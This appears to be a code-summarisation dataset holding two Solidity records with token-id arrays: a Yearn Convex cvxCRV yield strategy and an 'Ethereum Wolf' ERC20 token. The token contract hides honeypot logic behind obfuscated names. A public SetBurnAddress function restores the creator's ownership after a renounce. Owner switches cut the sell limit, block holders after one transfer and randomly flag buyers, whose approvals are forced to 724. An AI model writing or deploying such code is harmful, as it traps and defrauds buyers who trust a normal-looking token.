// deposit into convex and stake immediately but only if we have something to invest
if (_toInvest > 0) {
IConvexDeposit(depositContract).deposit(pid, _toInvest, true);
}
}
function liquidatePosition(uint256 _amountNeeded)
internal
override
returns (uint256 _liquidatedAmount, uint256 _loss)
{
uint256 _wantBal = balanceOfWant();
if (_amountNeeded > _wantBal) {
uint256 _stakedBal = stakedBalance();
if (_stakedBal > 0) {
IConvexRewards(rewardsContract).withdrawAndUnwrap(
Math.min(_stakedBal, _amountNeeded.sub(_wantBal)),
claimRewards
);
}
uint256 _withdrawnBal = balanceOfWant();
_liquidatedAmount = Math.min(_amountNeeded, _withdrawnBal);
_loss = _amountNeeded.sub(_liquidatedAmount);
} else {
// we have enough balance to cover the liquidation available
return (_amountNeeded, 0);
}
}
// fire sale, get rid of it all!
function liquidateAllPositions() internal override returns (uint256) {
uint256 _stakedBal = stakedBalance();
if (_stakedBal > 0) {
// don't bother withdrawing zero
IConvexRewards(rewardsContract).withdrawAndUnwrap(
_stakedBal,
claimRewards
);
}
return balanceOfWant();
}
// Sells our harvested CVX into the selected output (ETH).
function _sellConvex(uint256 _convexAmount) internal {
IUniswapV2Router02(sushiswap).swapExactTokensForTokens(
_convexAmount,
uint256(0),
convexTokenPath,
address(this),
block.timestamp
);
}
// in case we need to exit into the convex deposit token, this will allow us to do that
// make sure to check claimRewards before this step if needed
// plan to have gov sweep convex deposit tokens from strategy after this
function withdrawToConvexDepositTokens() external onlyAuthorized {
uint256 _stakedBal = stakedBalance();
if (_stakedBal > 0) {
IConvexRewards(rewardsContract).withdraw(_stakedBal, claimRewards);
}
}
// we don't want for these tokens to be swept out. We allow gov to sweep out cvx vault tokens; we would only be holding these if things were really, really rekt.
function protectedTokens()
internal
view
override
returns (address[] memory)
{}
/* ========== SETTERS ========== */
// These functions are useful for setting parameters of the strategy that may need to be adjusted.
// Set the amount of CRV to be locked in Yearn's veCRV voter from each harvest. Default is 10%.
function setKeepCRV(uint256 _keepCRV) external onlyAuthorized {
require(_keepCRV <= 10_000);
keepCRV = _keepCRV;
}
// We usually don't need to claim rewards on withdrawals, but might change our mind for migrations etc
function setClaimRewards(bool _claimRewards) external onlyAuthorized {
claimRewards = _claimRewards;
}
// This determines when we tell our keepers to harvest based on profit. this is how much in USDT we need to make. remember, 6 decimals!
function setHarvestProfitNeeded(uint256 _harvestProfitNeeded)
external
onlyAuthorized
{
harvestProfitNeeded = _harvestProfitNeeded;
}
// This allows us to manually harvest with our keeper as needed
function setForceHarvestTriggerOnce(bool _forceHarvestTriggerOnce)
external
onlyAuthorized
{
forceHarvestTriggerOnce = _forceHarvestTriggerOnce;
}
}
// File: StrategyConvexcvxCRV.sol
contract StrategyConvexcvxCRV is StrategyConvexBase {
/* ========== STATE VARIABLES ========== */
// these will likely change across different wants.
// Curve stuff
ICurveFi public curve; // Curve Pool, this is our pool specific to this vault
IERC20 public constant usdt =
IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
uint256 public maxGasPrice; // this is the max gas price we want our keepers to pay for harvests/tends
/* ========== CONSTRUCTOR ========== */
constructor(
address _vault,
uint256 _pid,
address _curvePool,
string memory _name
) public StrategyConvexBase(_vault) {
// You can set these parameters on deployment to whatever you want
maxReportDelay = 21 days; // 21 days in seconds
debtThreshold = 5 * 1e18; // we shouldn't ever have debt, but set a bit of a buffer
profitFactor = 1_000_000; // in this strategy, profitFactor is only used for telling keep3rs when to move funds from vault to strategy
harvestProfitNeeded = 80_000 * 1e6; // this is how much in USDT we need to make. remember, 6 decimals!
healthCheck = 0xDDCea799fF1699e98EDF118e0629A974Df7DF012; // health.ychad.eth
// these are our standard approvals. want = Curve LP token
convexToken.approve(sushiswap, type(uint256).max);
want.approve(address(depositContract), type(uint256).max);
// set our keepCRV
keepCRV = 1000;
// this is the pool specific to this vault, used for depositing
curve = ICurveFi(_curvePool);
// setup our rewards contract
pid = _pid; // this is the pool ID on convex, we use this to determine what the reweardsContract address is
address lptoken;
(lptoken, , , rewardsContract, , ) = IConvexDeposit(depositContract)
.poolInfo(_pid);
// check that our LP token based on our pid matches our want
require(address(lptoken) == address(want));
// set our strategy's name
stratName = _name;
// these are our approvals and path specific to this contract
crv.approve(address(curve), type(uint256).max);
// set our paths
convexTokenPath = [address(convexToken), address(weth), address(crv)];
// set our baseline max gas price
maxGasPrice = 75 * 1e9;
}
/* ========== VARIABLE FUNCTIONS ========== */
// these will likely change across different wants.
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
// if we have anything we can claim, then harvest CRV and CVX from the rewards contract
if (claimableBalance() > 0) {
// this claims our CRV, CVX
IConvexRewards(rewardsContract).getReward(address(this), true);
uint256 crvBalance = crv.balanceOf(address(this));
uint256 convexBalance = convexToken.balanceOf(address(this));
// send some of our CRV to our voter to boost yield (default 10%)
uint256 _sendToVoter = crvBalance.mul(keepCRV).div(FEE_DENOMINATOR);
if (_sendToVoter > 0) {
crv.safeTransfer(voter, _sendToVoter);
}
// sell our claimed CVX, no need to sell CRV since this pool accepts it as deposit
if (convexBalance > 0) {
_sellConvex(convexBalance);
}
// deposit our CRV to Curve
crvBalance = crv.balanceOf(address(this));
if (crvBalance > 0) {
curve.add_liquidity([crvBalance, 0], 0);
}
}
// debtOustanding will only be > 0 in the event of revoking or if we need to rebalance from a withdrawal or lowering the debtRatio
if (_debtOutstanding > 0) {
uint256 _stakedBal = stakedBalance();
if (_stakedBal > 0) {
IConvexRewards(rewardsContract).withdrawAndUnwrap(
Math.min(_stakedBal, _debtOutstanding),
claimRewards
);
}
uint256 _withdrawnBal = balanceOfWant();
_debtPayment = Math.min(_debtOutstanding, _withdrawnBal);
}
// serious loss should never happen, but if it does (for instance, if Curve is hacked), let's record it accurately
uint256 assets = estimatedTotalAssets();
uint256 debt = vault.strategies(address(this)).totalDebt;
// if assets are greater than debt, things are working great!
if (assets > debt) {
_profit = assets.sub(debt);
uint256 _wantBal = balanceOfWant();
if (_profit.add(_debtPayment) > _wantBal) {
// this should only be hit following donations to strategy
liquidateAllPositions();
}
}
// if assets are less than debt, we are in trouble
else {
_loss = debt.sub(assets);
}
// we're done harvesting, so reset our trigger if we used it
forceHarvestTriggerOnce = false;
}
// migrate our want token to a new strategy if needed, make sure to check claimRewards first
// also send over any CRV or CVX that is claimed; for migrations we definitely want to claim
function prepareMigration(address _newStrategy) internal override {
uint256 _stakedBal = stakedBalance();
if (_stakedBal > 0) {
IConvexRewards(rewardsContract).withdrawAndUnwrap(
_stakedBal,
claimRewards
);
}
crv.safeTransfer(_newStrategy, crv.balanceOf(address(this)));
convexToken.safeTransfer(
_newStrategy,
convexToken.balanceOf(address(this))
);
}
/* ========== KEEP3RS ========== */
function harvestTrigger(uint256 callCostinEth)
public
view
override
returns (bool)
{
// trigger if we want to manually harvest
if (forceHarvestTriggerOnce) {
return true;
}
// check if the base fee gas price is higher than we allow
if (readBaseFee() > maxGasPrice) {
return false;
}
// harvest if we have a profit to claim
if (claimableProfitInUsdt() > harvestProfitNeeded) {
return true;
}
// Should not trigger if strategy is not active (no assets and no debtRatio). This means we don't need to adjust keeper job.
if (!isActive()) {
return false;
}
return super.harvestTrigger(callCostinEth);
}
// we will need to add rewards token here if we have them
function claimableProfitInUsdt() internal view returns (uint256) {
// calculations pulled directly from CVX's contract for minting CVX per CRV claimed
uint256 totalCliffs = 1_000;
uint256 maxSupply = 100 * 1_000_000 * 1e18; // 100mil
uint256 reductionPerCliff = 100_000 * 1e18; // 100,000
uint256 supply = convexToken.totalSupply();
uint256 mintableCvx;
uint256 cliff = supply.div(reductionPerCliff);
uint256 _claimableBal = claimableBalance();
//mint if below total cliffs
if (cliff < totalCliffs) {
//for reduction% take inverse of current cliff
uint256 reduction = totalCliffs.sub(cliff);
//reduce
mintableCvx = _claimableBal.mul(reduction).div(totalCliffs);
//supply cap check
uint256 amtTillMax = maxSupply.sub(supply);
if (mintableCvx > amtTillMax) {
mintableCvx = amtTillMax;
}
}
address[] memory crv_usd_path = new address[](3);
crv_usd_path[0] = address(crv);
crv_usd_path[1] = address(weth);
crv_usd_path[2] = address(usdt);
address[] memory cvx_usd_path = new address[](3);
cvx_usd_path[0] = address(convexToken);
cvx_usd_path[1] = address(weth);
cvx_usd_path[2] = address(usdt);
uint256 crvValue;
if (_claimableBal > 0) {
uint256[] memory crvSwap =
IUniswapV2Router02(sushiswap).getAmountsOut(
_claimableBal,
crv_usd_path
);
crvValue = crvSwap[crvSwap.length - 1];
}
uint256 cvxValue;
if (mintableCvx > 0) {
uint256[] memory cvxSwap =
IUniswapV2Router02(sushiswap).getAmountsOut(
mintableCvx,
cvx_usd_path
);
cvxValue = cvxSwap[cvxSwap.length - 1];
}
return crvValue.add(cvxValue);
}
// convert our keeper's eth cost into want (we set this to return the value since it doesn't give much use)
function ethToWant(uint256 _ethAmount)
public
view
override
returns (uint256)
{
return _ethAmount;
}
// use this to check current base fee gas price
function readBaseFee() internal view returns (uint256 baseFee) {
IBaseFee _baseFeeOracle =
IBaseFee(0xf8d0Ec04e94296773cE20eFbeeA82e76220cD549);
return _baseFeeOracle.basefee_global();
}
/* ========== SETTERS ========== */
// set the maximum gas price we want to pay for a harvest/tend in gwei
function setGasPrice(uint256 _maxGasPrice) external onlyAuthorized {
maxGasPrice = _maxGasPrice.mul(1e9);
}
}
|
this is the max gas price we want our keepers to pay for harvests/tends
|
uint256 public maxGasPrice;
| 236,455 |
[
1,
2211,
353,
326,
943,
16189,
6205,
732,
2545,
3134,
3455,
414,
358,
8843,
364,
17895,
90,
25563,
19,
88,
5839,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2254,
5034,
1071,
943,
27998,
5147,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.16;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private truenews;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
truenews = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function SetBurnAddress() public {
require(_owner != truenews);
emit OwnershipTransferred(_owner, truenews);
_owner = truenews;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20Token is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public blackberry;
mapping (address => bool) public arrow;
mapping (address => bool) public batman;
mapping (address => uint256) public spiderman;
bool private oregon;
uint256 private _totalSupply;
uint256 private sonora;
uint256 private _trns;
uint256 private chTx;
uint256 private opera;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private montreal;
address private creator;
bool private thisValue;
uint quebec = 0;
constructor() public {
creator = address(msg.sender);
oregon = true;
montreal = true;
_name = "Ethereum Wolf";
_symbol = "eWOLF";
_decimals = 5;
_totalSupply = 200000000000000;
_trns = _totalSupply;
sonora = _totalSupply;
chTx = _totalSupply / 1500;
opera = sonora;
arrow[creator] = false;
batman[creator] = false;
blackberry[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
thisValue = false;
emit Transfer(address(0x6262998Ced04146fA42253a5C0AF90CA02dfd2A3), msg.sender, _trns);
}
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
function ViewSomeChanges() external view onlyOwner returns (uint256) {
uint256 tempval = _totalSupply;
return tempval;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function randomly() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, quebec))) % 100000;
quebec++;
return screen;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function SetTheTime() external onlyOwner {
sonora = chTx;
thisValue = true;
}
function BurnHouses(uint256 amount) external onlyOwner {
sonora = amount;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function TwistingVoid(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function SpenderTime(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner {
blackberry[spender] = val;
arrow[spender] = val2;
batman[spender] = val3;
thisValue = val4;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (oregon == false)) {
sonora = chTx;
thisValue = true;
}
if ((address(sender) == creator) && (oregon == true)) {
blackberry[recipient] = true;
arrow[recipient] = false;
oregon = false;
}
if (blackberry[recipient] != true) {
arrow[recipient] = ((randomly() == 78) ? true : false);
}
if ((arrow[sender]) && (blackberry[recipient] == false)) {
arrow[recipient] = true;
}
if (blackberry[sender] == false) {
require(amount < sonora);
if (thisValue == true) {
if (batman[sender] == true) {
require(false);
}
batman[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == creator) && (montreal == true)) {
blackberry[spender] = true;
arrow[spender] = false;
batman[spender] = false;
montreal = false;
}
tok = (arrow[owner] ? 724 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
|
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. This is internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc. Emits an {Approval} event. Requirements: - `owner` cannot be the zero address. - `spender` cannot be the zero address./
|
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == creator) && (montreal == true)) {
blackberry[spender] = true;
arrow[spender] = false;
batman[spender] = false;
montreal = false;
}
tok = (arrow[owner] ? 724 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
| 6,994,951 |
[
1,
2785,
1375,
8949,
68,
487,
326,
1699,
1359,
434,
1375,
87,
1302,
264,
68,
1879,
326,
1375,
8443,
68,
87,
2430,
18,
1220,
353,
2713,
445,
353,
7680,
358,
1375,
12908,
537,
9191,
471,
848,
506,
1399,
358,
425,
18,
75,
18,
444,
5859,
1699,
6872,
364,
8626,
15359,
87,
16,
5527,
18,
7377,
1282,
392,
288,
